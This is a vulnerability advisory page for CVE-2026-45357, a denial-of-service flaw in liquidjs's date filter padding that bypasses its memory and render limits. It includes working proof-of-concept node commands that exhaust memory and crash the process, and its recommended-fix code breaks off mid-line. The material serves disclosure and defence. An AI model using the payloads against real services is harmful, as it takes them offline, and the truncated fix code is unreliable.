🛡️ CVE-2026-45357 — liquidjs

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-400 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

LiquidJS has a memory and render limit bypass via unbounded width padding in date filter (strftime)

Summary

The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.

Details

date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:

```ts

export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {

const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)

this.context.memoryLimit.use(size)

...

return strftime(date, format)

}

```

strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:

```ts

function format (d, match) {

const [input, flagStr = '', width, modifier, conversion] = match

...

let padWidth = width || padWidths[conversion] || 0

...

return padStart(ret, padWidth, padChar) // strftime.ts:147

}

```

padStart calls pad() in src/util/underscore.ts:153:

```ts

export function pad (str, length, ch, add) {

str = String(str)

let n = length - str.length

while (n-- > 0) str = add(str, ch) // unbounded loop

return str

}

```

The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.

Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.

This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).

PoC

Setup: npm install [email protected].

Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):

```bash

node -e "

const { Liquid } = require('liquidjs');

const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });

const t0 = Date.now();

const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });

console.log('len=', out.length, 'ms=', Date.now()-t0);

"

```

Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.

Step 2 — OOM-kill the Node process under a 200 MB heap cap:

```bash

node --max-old-space-size=200 -e "

const { Liquid } = require('liquidjs');

const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });

liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });

"

```

Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.

The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).

Impact

  • DoS against any LiquidJS-rendered surface where a context value reaches the date filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.
  • Bypass of the engine's two documented DoS controls — memoryLimit and renderLimit — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.
  • All date_to_xmlschema, date_to_rfc822, date_to_string, date_to_long_string paths share the same sink via strftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on date.

Recommended Fix

Two complementary fixes:

1. Have pad() in src/util/underscore.ts charge the Context's memory limit and use String.prototype.repeat instead of an O(n) concatenation loop. Since pad() is generic, the simplest version takes the memory limit as a parameter:

```ts

export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {

str = String(str)

const n = length - str.length

if (n <= 0) return str

return add === ((s, c) => c + s)

? ch.repeat(n) +

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

CVE-2026-45357 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

CVE-2026-45357 is recorded against 2 packages.

  • liquidjs
  • unknown

Timeline and source

Published on 27 May 2026 and last revised on 9 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-400
Public Exploit ✅ No
Source NVD
Published 2026-05-27
Updated 2026-08-12
Modified 2026-07-09
Fix URL N/A

Affected Packages

Software From version Fixed in
liquidjs
unknown

Similar Threats

Site Security Check

Is liquidjs part of your stack?

CVE-2026-45357 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.